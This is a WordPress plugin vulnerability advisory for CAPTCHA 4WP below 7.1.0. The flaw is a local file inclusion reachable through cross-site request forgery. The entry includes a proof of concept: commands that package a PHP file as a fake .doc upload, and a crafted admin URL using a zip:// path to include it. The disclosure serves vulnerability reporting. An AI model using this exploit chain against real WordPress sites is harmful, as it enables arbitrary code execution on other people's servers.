WordPress Plugin Vulnerabilities

CAPTCHA 4WP < 7.1.0 - Local File Inclusion via CSRF

Description

The plugin lets user input reach a sensitive require_once call in one of its admin-side templates. This can be abused by attackers, via a Cross-Site Request Forgery attack to run arbitrary code on the server.

Proof of Concept

1) Create a malicious PHP script
$ echo '<?php phpinfo();' > shell.php

2) Add it to a fake .doc file, who will actually be a zip file
$ zip malicious.doc shell.php

3) While logged-in as an Author, upload the "doc" file via WP's media gallery.

4) Have an administrator visit the following URL:

httsp://example.com/wp-admin/admin.php?page=c4wp-admin-help&tab=zip://../wp-content/uploads/2022/06/malicious.doc%23shell

Affects Plugins

References

Classification

Type
LFI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of WuHan University
Submitter
ZhongFu Su(JrXnm) of WuHan University
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-07-11 (about 1 years ago)
Added
2022-07-11 (about 1 years ago)
Last Updated
2023-04-11 (about 1 years ago)

Other